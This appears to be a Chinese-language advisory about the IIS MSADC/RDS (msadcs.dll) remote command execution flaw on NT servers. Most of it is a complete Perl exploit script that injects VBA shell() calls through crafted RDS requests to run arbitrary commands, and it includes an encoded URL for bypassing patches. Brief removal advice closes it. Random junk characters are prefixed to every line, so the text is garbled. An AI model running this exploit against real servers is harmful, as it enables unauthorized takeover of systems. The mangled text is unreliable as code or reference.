IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
v3"6'.f;bY ^ZMb Je%L 涉及程序：
rrL.Y&DTK Microsoft NT server
[,Ehu<mEK L<FXtBJ 描述：
E{
/,
b) 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
/LFuf`bXV |WB-N g 详细：
ixA.b#!1 如果你没有时间读详细内容的话，就删除:
/&Q{B f c:\Program Files\Common Files\System\Msadc\msadcs.dll
AJyN lQ 有关的安全问题就没有了。
>pu4 G+M /3s&??{tv 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
HV%/baX] xPZ>vCg 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
1 Uup.( 关于利用ODBC远程漏洞的描述，请参看:
*}2 L4] ]i
{yJ )i http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm vW?\bH7}I I>?oVY6M@u 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
|]-Zz7N) http://www.microsoft.com/security/bulletins/MS99-025faq.asp q>_<\|?%x mZ71_4X# 这里不再论述。
36.,:!%p @gN"Q\;F 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
O2fq9%lk Avw=*ZW /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
[IAUJ09>I 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
`cp\UH@
+b 6R _?-o Pb #将下面这段保存为txt文件，然后: "perl -x 文件名"
(MLcA\LJ _ [k
\S|iY #!perl
`D ;*.zrA #
oU|G74e 6 # MSADC/RDS 'usage' (aka exploit) script
V'9.l6l #
JQ?`l)4 # by rain.forest.puppy
WEwa<%Ss #
1.14tS-}[4 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
a&>NuMDI # beta test and find errors!
xM%4/QE + h0<PQZJ use Socket; use Getopt::Std;
ROFZ*@CH< getopts("e:vd:h:XR", \%args);
xhP~]akHN7 "3^tVX%$\[ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
R;DU68R =}Tm8b0 if (!defined $args{h} && !defined $args{R}) {
sD3ZZcy|= print qq~
X&9: ^$m Usage: msadc.pl -h <host> { -d <delay> -X -v }
Z3]I^i
FI -h <host> = host you want to scan (ip or domain)
9gg{ i6 -d <seconds> = delay between calls, default 1 second
m!7%5=Fc -X = dump Index Server path table, if available
T-N>w;P -v = verbose
811>dVq3/ -e = external dictionary file for step 5
Et3 I(X 3 d?7?tL2 Or a -R will resume a command session
t5{P'v9J @v2<T1UC ~; exit;}
EHUx~Q
,D{7=mDVm $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
X,Na4~JO ( if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
;M?)-dpZ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
]FCP|Jz if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
rpKZ>S|7+) $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
b,Wm]N if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
i}vJI}S.$ ~
*&\5rPb if (!defined $args{R}){ $ret = &has_msadc;
>[ B.y die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
z>N[veX% :7K
a4 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Et 3]n$ . "cmd /c ";
ILm +o$o ~ $in=<STDIN>; chomp $in;
(H_dZL $command="cmd /c " . $in ;
'?C6P5fm uo `R if (defined $args{R}) {&load; exit;}
y X!u & h]<S0 / print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
brA#p>4]Wf &try_btcustmr;
F'XQoZ* 1 kG D_w print "\nStep 2: Trying to make our own DSN...";
rxyv+@~Nc &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
k ]NZ%. ^ = C> print "\nStep 3: Trying known DSNs...";
0$|VkMq ( &known_dsn;
"-f]d~P> ?d%)R*3IX print "\nStep 4: Trying known .mdbs...";
pwN2Nzski &known_mdb;
Yh9 5W d.f0OhQ if (defined $args{e}){
\~#\ [r_ print "\nStep 5: Trying dictionary of DSN names...";
Z8=?Hu &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
b%lB&}uw} NAo.79 print "Sorry Charley...maybe next time?\n";
] K uM's exit;
Fbo"Csn_ *z[vp2
TN ##############################################################################
7 (2}Vs!5 Tu(:? sub sendraw { # ripped and modded from whisker
z<eu=OD4t sleep($delay); # it's a DoS on the server! At least on mine...
!EIH"`>! my ($pstr)=@_;
P"NI> HM socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
+jE)kaV% die("Socket problems\n");
"[ LUv5 if(connect(S,pack "SnA4x8",2,80,$target)){
<lB2Nv -, select(S); $|=1;
\>S.nW print $pstr; my @in=<S>;
j# f/M3 select(STDOUT); close(S);
OmuE l> return @in;
:P q&l. } else { die("Can't connect...\n"); }}
c^= q(V 8
o}5QOW ##############################################################################
=\]gL%N-| w5z] =dN sub make_header { # make the HTTP request
mRx `G(u:v my $msadc=<<EOT
b_Y+XXb< POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
9SeGkwec?$ User-Agent: ACTIVEDATA
( `4& h %g Host: $ip
!po,Z& Content-Length: $clen
2- L-=0 Connection: Keep-Alive
#:" ]-u^ q-t%spkl ADCClientVersion:01.06
eSoX|2g Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
vE9"1M b#I,Z+0ry --!ADM!ROX!YOUR!WORLD!
{b - C,J Content-Type: application/x-varg
6Y [&1c8 Content-Length: $reqlen
9-n]_AF`0 DSs/D1mj&
EOT
>IQ&*Bb ; $msadc=~s/\n/\r\n/g;
#xmiUN,| return $msadc;}
|!K&h( J| |6N vByc, ##############################################################################
xd3mAf cPIy D?c sub make_req { # make the RDS request
!$HuH6_[ my ($switch, $p1, $p2)=@_;
05ZYOs } my $req=""; my $t1, $t2, $query, $dsn;
pW ~;B*hF 87[o^) 8 if ($switch==1){ # this is the btcustmr.mdb query
Oi?Q^ISxP $query="Select * from Customers where City=" . make_shell();
3R/6/+S- $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
;7Qe m& $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
xF UD 9TM
u&p8S#e elsif ($switch==2){ # this is general make table query
Yy
4Was# $query="create table AZZ (B int, C varchar(10))";
CH+%q+I $dsn="$p1";}
hak#Iz0[C 7h9oY<W elsif ($switch==3){ # this is general exploit table query
T2-x 1Sw_ $query="select * from AZZ where C=" . make_shell();
?Ho$f Gz $dsn="$p1";}
f Xevr ` >]}VD "\ elsif ($switch==4){ # attempt to hork file info from index server
RCqL~7C+ k $query="select path from scope()";
TPb&";4ROf $dsn="Provider=MSIDXS;";}
a?Om;-i2`S ip'v<%,Q3" elsif ($switch==5){ # bad query
W{IP}mM $query="select";
B fCib]V9C $dsn="$p1";}
=SJ[)| |QzJHP @ $t1= make_unicode($query);
'
Sd&I:? $t2= make_unicode($dsn);
h%:wIkZ/ $req = "\x02\x00\x03\x00";
a:|]F| $req.= "\x08\x00" . pack ("S1", length($t1));
:8n?G $req.= "\x00\x00" . $t1 ;
.aZB?M W $req.= "\x08\x00" . pack ("S1", length($t2));
:x q^ T $req.= "\x00\x00" . $t2 ;
9^S rOW6~ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
~i^,Z&X: return $req;}
pnz@;+f #O^zA`D ##############################################################################
.f!'> _ MS SHMR sub make_shell { # this makes the shell() statement
Qvny$sr2 return "'|shell(\"$command\")|'";}
hW,GsJ, ve#[LBOC8 ##############################################################################
O'S xTwO >y+j!)\ sub make_unicode { # quick little function to convert to unicode
\mN?5QCcE my ($in)=@_; my $out;
p38s&\-kEN for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
HH!SqkwT return $out;}
IKp(KlA |q o3
E ##############################################################################
hQSJt[8My -eSI"To L< sub rdo_success { # checks for RDO return success (this is kludge)
6O5E4 = my (@in) = @_; my $base=content_start(@in);
p*P0 <01Z if($in[$base]=~/multipart\/mixed/){
7; }TNK\+v return 1 if( $in[$base+10]=~/^\x09\x00/ );}
UIQ=b;J9 return 0;}
*|+ ~V/# kGq<Zmy | ##############################################################################
}xrrHp k!@/|]3z sub make_dsn { # this makes a DSN for us
g2
V $ my @drives=("c","d","e","f");
4z|Yfvq print "\nMaking DSN: ";
HV3wU EI3 foreach $drive (@drives) {
AM gvk`<f print "$drive: ";
"2"*3R<Y my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
p|Fhh\,*`X "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
G`!;RX . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
uuh vd h= $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
8DrKq]& return 0 if $2 eq "404"; # not found/doesn't exist
Qe/=(P< if($2 eq "200") {
Hi {!<e2 foreach $line (@results) {
hG'2(Y! return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Z.LF5ur } return 0;}
CQY/q@7 a -TsD}'X ##############################################################################
Y@'1}=`J "ZVBn!
sub verify_exists {
P3XP=G`E my ($page)=@_;
( Gxv ?\ my @results=sendraw("GET $page HTTP/1.0\n\n");
j1toV$)P return $results[0];}
1/q iE{NW y+iuA@WCv ##############################################################################
0H.B>: pv fs]Zw mA^ sub try_btcustmr {
&sA6o"h~ my @drives=("c","d","e","f");
~pSD| WX my @dirs=("winnt","winnt35","winnt351","win","windows");
&9] [ ~$ .J\U|r foreach $dir (@dirs) {
M/sqOhg print "$dir -> "; # fun status so you can see progress
El&pu x2 foreach $drive (@drives) {
a( {`<F print "$drive: "; # ditto
&<i>)Ss $reqlen=length( make_req(1,$drive,$dir) ) - 28;
U7fE6&g $reqlenlen=length( "$reqlen" );
l 0b=;^6 $clen= 206 + $reqlenlen + $reqlen;
>|I3h5\M N<Q} 4%^c my @results=sendraw(make_header() . make_req(1,$drive,$dir));
4_I,wG@ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
&(^>}&XS.< else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
"Lpt@g[HF ZCJ8 I ##############################################################################
IO_H%/v"jC 7erao- sub odbc_error {
<ct {D|mm my (@in)=@_; my $base;
U14dQ=~b/ my $base = content_start(@in);
$l[*Y if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
1@qb.9wZ6 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
+Vf|YLbhJ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
S(-=I!.G{ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
E 0pF; P5 return $in[$base+4].$in[$base+5].$in[$base+6];}
C X'E+ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
s9GPDfZ
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
01q7n`o#zf $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
@ %cJjZ5y s3kEux^ ##############################################################################
gZ!( &u .y2<2eW sub verbose {
}>XSp)"{l my ($in)=@_;
y<. !TULa_ return if !$verbose;
7<:w- print STDOUT "\n$in\n";}
17Gdu[E K ;xW /7? ##############################################################################
ta 6 WZu ; qk~> sub save {
&% r#eB?7 my ($p1, $p2, $p3, $p4)=@_;
22r01qH open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Ff gJ
2y print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
a!^wc, close OUT;}
xNqQbk F G =4 y!y ##############################################################################
Sf'5/9<DW+ w+$g Y ?% sub load {
#"yf^*wX my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
7ER 2 h* open(IN,"<rds.save") || die("Couldn't open rds.save\n");
f}'gg @p=<IN>; close(IN);
^{K8uN7 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
qL+ y8* $target= inet_aton($ip) || die("inet_aton problems");
d =KOV;~); print "Resuming to $ip ...";
*nW9)T $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
cnPX vD^kY if($p[1]==1) {
(MIw$)#^ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
R39R$\ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
5) o IPHXw my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
B:r-')!0$# if (rdo_success(@results)){print "Success!\n";}
g^4FzJ else { print "failed\n"; verbose(odbc_error(@results));}}
=U2Te elsif ($p[1]==3){
*f#4S_ws` if(run_query("$p[3]")){
"AK3t'
jF* print "Success!\n";} else { print "failed\n"; }}
0amz#VIB<u elsif ($p[1]==4){
@YB\ PV hW if(run_query($drvst . "$p[3]")){
+e:ZN
tr9 print "Success!\n"; } else { print "failed\n"; }}
O]g+z$2o exit;}
l9ihW^ Z =c@Gd ##############################################################################
>C}RZdO~ r=Q5=(hn sub create_table {
*&0Hz{| my ($in)=@_;
%UJ4wm $reqlen=length( make_req(2,$in,"") ) - 28;
` ; =Se_ $reqlenlen=length( "$reqlen" );
#"{8Z& Z $clen= 206 + $reqlenlen + $reqlen;
pi FQ7B my @results=sendraw(make_header() . make_req(2,$in,""));
y&Hh8|'mC return 1 if rdo_success(@results);
OA=;9AcZ my $temp= odbc_error(@results); verbose($temp);
?.4l1X6Ba return 1 if $temp=~/Table 'AZZ' already exists/;
L-R}O
8 return 0;}
] zY WO9/rF_ ##############################################################################
Wu&Di8GhP M<srJ8|' sub known_dsn {
dR+$7N$ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
kZ9pgdI my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
,s76]$ %4 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Q8q_w2s, "banner", "banners", "ads", "ADCDemo", "ADCTest");
Pvw %,=41O S%fBt?-Cm foreach $dSn (@dsns) {
z .^
)r print ".";
k-e@G' next if (!is_access("DSN=$dSn"));
~QcKW<bz if(create_table("DSN=$dSn")){
{@$3b Q print "$dSn successful\n";
6<Wr
8u, if(run_query("DSN=$dSn")){
j[`?`RyU print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
m6cW print "Something's borked. Use verbose next time\n";}}} print "\n";}
lp U tNy P.B'Gh#^ ##############################################################################
%p60p n[( 1F,_L}=o1s sub is_access {
k#) .E X my ($in)=@_;
&zcj U+n $reqlen=length( make_req(5,$in,"") ) - 28;
wcf_5T $reqlenlen=length( "$reqlen" );
ACYn87tq $clen= 206 + $reqlenlen + $reqlen;
;alFK*K6 my @results=sendraw(make_header() . make_req(5,$in,""));
FO = 1P7 my $temp= odbc_error(@results);
m_ m@>}ud verbose($temp); return 1 if ($temp=~/Microsoft Access/);
;/T-rVND return 0;}
,-Nk-g rtx]dc1m ##############################################################################
6w;|-/:` #Vigu,zY sub run_query {
hFfaaB my ($in)=@_;
! V Zj!\I $reqlen=length( make_req(3,$in,"") ) - 28;
p ri{vveN@ $reqlenlen=length( "$reqlen" );
=3C)sz} $clen= 206 + $reqlenlen + $reqlen;
V^+:U>$w my @results=sendraw(make_header() . make_req(3,$in,""));
'e64%t return 1 if rdo_success(@results);
oLMi vy4 my $temp= odbc_error(@results); verbose($temp);
CWQ2iu<_0 return 0;}
m5aa Y Y` ?X Fy: ##############################################################################
[Mc5N ]!aa#? Fc sub known_mdb {
J6ShI Pc my @drives=("c","d","e","f","g");
A_~5| my @dirs=("winnt","winnt35","winnt351","win","windows");
\Egc5{ my $dir, $drive, $mdb;
QS*cd|7J; my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
b_Jq= Gk` +|YZEC
# this is sparse, because I don't know of many
HbfB[% my @sysmdbs=( "\\catroot\\icatalog.mdb",
a
BH1J]_ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
B!ibE<7, "\\system32\\certmdb.mdb",
g+)\ /n| "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
lkg*AAR?' Z[S+L"0 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
hyfnIb@~} "\\cfusion\\cfapps\\forums\\forums_.mdb",
r;X0 B "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
8 {]Gh 0+ "\\cfusion\\cfapps\\security\\realm_.mdb",
vcO`j<` "\\cfusion\\cfapps\\security\\data\\realm.mdb",
\N , ' + "\\cfusion\\database\\cfexamples.mdb",
8V hck-wF "\\cfusion\\database\\cfsnippets.mdb",
ZCFf@2&z8 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
eSNSnh]' "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
xcvr D "\\cfusion\\brighttiger\\database\\cleam.mdb",
E0^%|Mh]b "\\cfusion\\database\\smpolicy.mdb",
"IS^a jaq "\\cfusion\\database\cypress.mdb",
3,L3C9V' "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
u7P+^A97L_ "\\website\\cgi-win\\dbsample.mdb",
2 RUR=%C "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
EvQwGt1)P "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
D8AIV K] ); #these are just
!LOors za foreach $drive (@drives) {
g^ $ 11 foreach $dir (@dirs){
33'lZ ubV foreach $mdb (@sysmdbs) {
]j2v"n print ".";
Pph8"`mv.m if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
i6#]$ B print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
T)
tZU? if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
;GFB@I@
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
)(Mr f{ } else { print "Something's borked. Use verbose next time\n"; }}}}}
)1nCw # 3 yw
foreach $drive (@drives) {
83i c@[ foreach $mdb (@mdbs) {
S50x0$%<W print ".";
I
cR;A\z if(create_table($drv . $drive . $dir . $mdb)){
h` h> H
X print "\n" . $drive . $dir . $mdb . " successful\n";
k7|z$=zY if(run_query($drv . $drive . $dir . $mdb)){
0O,T=z[+> print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
oA ;Ty7s } else { print "Something's borked. Use verbose next time\n"; }}}}
^h6$> n5 }
1~5q :X H4'DL'8 3 ##############################################################################
''OInfd? -N8cj r4l sub hork_idx {
;s\;78`0 print "\nAttempting to dump Index Server tables...\n";
-N7L #a print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
3R%UPT0> $reqlen=length( make_req(4,"","") ) - 28;
"G9'm $reqlenlen=length( "$reqlen" );
;[KriW $clen= 206 + $reqlenlen + $reqlen;
`o8{qU,*]N my @results=sendraw2(make_header() . make_req(4,"",""));
=6Sj}/ if (rdo_success(@results)){
Wd`
Q pW my $max=@results; my $c; my %d;
C nSX for($c=19; $c<$max; $c++){
s'aV q B $results[$c]=~s/\x00//g;
q bZ,K@0 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
?(/j< ,m^ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
mDF"&.(j $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
$rpTs?j*K$ $d{"$1$2"}="";}
]a6O(] foreach $c (keys %d){ print "$c\n"; }
Ly)(_Tp@+ } else {print "Index server doesn't seem to be installed.\n"; }}
A`
o?+2s_ ;j>Vt?:Pw ##############################################################################
_m7U-;G grCO-S|j^ sub dsn_dict {
(!VMnLlXRK open(IN, "<$args{e}") || die("Can't open external dictionary\n");
xa{<R+LR while(<IN>){
:\+{;;a@ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
I51oG:6fR? next if (!is_access("DSN=$dSn"));
J(EaE2 if(create_table("DSN=$dSn")){
X(y print "$dSn successful\n";
YF! &*6m if(run_query("DSN=$dSn")){
JU'WiR
bcb print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
lQdnL.w$.4 print "Something's borked. Use verbose next time\n";}}}
6/mkJj+" print "\n"; close(IN);}
|ON&._ `LH -4?xwz9o$7 ##############################################################################
O| 1f ^_S/ xdL/0 N3 sub sendraw2 { # ripped and modded from whisker
50`iCD sleep($delay); # it's a DoS on the server! At least on mine...
pdi=6<?bd my ($pstr)=@_;
6/[Z178m socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
^5;vx die("Socket problems\n");
)ew[ Ak| if(connect(S,pack "SnA4x8",2,80,$target)){
?{"XrQw print "Connected. Getting data";
UEEBWz H open(OUT,">raw.out"); my @in;
7 bonOt
Y select(S); $|=1; print $pstr;
X%a;i6pq while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
b$? Xn {Y close(OUT); select(STDOUT); close(S); return @in;
,l$NJt } else { die("Can't connect...\n"); }}
QOT) x4 !) Z#4JA/c ! ##############################################################################
r*6"'W>c6 ;V(H7
ZM sub content_start { # this will take in the server headers
){+ [$@9 my (@in)=@_; my $c;
a
IpPL8a for ($c=1;$c<500;$c++) {
KbwTj*k[ if($in[$c] =~/^\x0d\x0a/){
m%oGzx+ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
2#AeN6\@ else { return $c+1; }}}
7`b lGzP_ return -1;} # it should never get here actually
}iua]
4 | X(GmiH /E ##############################################################################
C# Hcv*D ~5r=FF6 sub funky {
Ig1l ol:; my (@in)=@_; my $error=odbc_error(@in);
<H5n>3#pH if($error=~/ADO could not find the specified provider/){
aFRTNu/r print "\nServer returned an ADO miscofiguration message\nAborting.\n";
9Qzjqq:"Li exit;}
y Y>-MoF/t if($error=~/A Handler is required/){
1
[Sv print "\nServer has custom handler filters (they most likely are patched)\n";
r"{Is?yKe exit;}
Pgn_9Y?< if($error=~/specified Handler has denied Access/){
x?, ~TC4 print "\nServer has custom handler filters (they most likely are patched)\n";
=5y`(0 I`U exit;}}
B*?ZE4` Hva2j<h ##############################################################################
&l. x:eD y$IaXr5L sub has_msadc {
(O8,zqP9l my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
L!;^ #g my $base=content_start(@results);
6P;o 6s return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
|H ^w>mk return 0;}
DeOXM=&z 8yE!7$Mj ########################
l60ikc4$I g!1I21M1~ Mn]}s:v 解决方案：
G*i.a*9<) 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
?SC3Vzr 2、移除web 目录: /msadc
